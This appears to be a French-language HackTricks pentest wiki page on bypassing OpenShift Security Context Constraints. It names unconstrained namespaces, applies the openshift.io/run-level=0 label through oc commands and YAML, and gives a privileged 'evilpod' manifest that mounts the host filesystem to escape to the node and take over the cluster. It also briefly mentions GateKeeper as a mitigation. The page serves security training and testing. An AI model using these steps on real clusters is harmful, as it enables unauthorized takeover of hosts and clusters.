Openshift - SCC bypass

Reading time: 5 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

L'auteur original de cette page est Guillaume

Espaces de noms privilégiés

Par défaut, SCC ne s'applique pas aux projets suivants :

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Si vous déployez des pods dans l'un de ces espaces de noms, aucune SCC ne sera appliquée, permettant le déploiement de pods privilégiés ou le montage du système de fichiers hôte.

Étiquette d'espace de noms

Il existe un moyen de désactiver l'application de SCC sur votre pod selon la documentation de RedHat. Vous devrez avoir au moins l'une des permissions suivantes :

  • Créer un espace de noms et créer un pod dans cet espace de noms
  • Modifier un espace de noms et créer un pod dans cet espace de noms
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

L'étiquette spécifique openshift.io/run-level permet aux utilisateurs de contourner les SCC pour les applications. Selon la documentation de RedHat, lorsque cette étiquette est utilisée, aucune SCC n'est appliquée à tous les pods dans cet espace de noms, supprimant ainsi toutes les restrictions.

Ajouter une étiquette

Pour ajouter l'étiquette dans votre espace de noms :

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Pour créer un espace de noms avec l'étiquette via un fichier YAML :

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Maintenant, tous les nouveaux pods créés dans l'espace de noms ne devraient avoir aucun SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

En l'absence de SCC, il n'y a aucune restriction sur la définition de votre pod. Cela signifie qu'un pod malveillant peut être facilement créé pour s'échapper sur le système hôte.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Maintenant, il est devenu plus facile d'escalader les privilèges pour accéder au système hôte et par la suite prendre le contrôle de l'ensemble du cluster, obtenant des privilèges 'cluster-admin'. Recherchez la partie Node-Post Exploitation sur la page suivante :

Attacking Kubernetes from inside a Pod

Étiquettes personnalisées

De plus, en fonction de la configuration cible, certaines étiquettes / annotations personnalisées peuvent être utilisées de la même manière que dans le scénario d'attaque précédent. Même si ce n'est pas prévu, les étiquettes pourraient être utilisées pour donner des permissions, restreindre ou non une ressource spécifique.

Essayez de rechercher des étiquettes personnalisées si vous pouvez lire certaines ressources. Voici une liste de ressources intéressantes :

  • Pod
  • Deployment
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Lister tous les espaces de noms privilégiés

bash
$ oc get project -o yaml | grep 'run-level' -b5

Exploit avancé

Dans OpenShift, comme démontré précédemment, avoir la permission de déployer un pod dans un namespace avec le label openshift.io/run-level peut conduire à une prise de contrôle directe du cluster. Du point de vue des paramètres du cluster, cette fonctionnalité ne peut pas être désactivée, car elle est inhérente à la conception d'OpenShift.

Cependant, des mesures d'atténuation comme Open Policy Agent GateKeeper peuvent empêcher les utilisateurs de définir ce label.

Pour contourner les règles de GateKeeper et définir ce label pour exécuter une prise de contrôle du cluster, les attaquants devraient identifier des méthodes alternatives.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks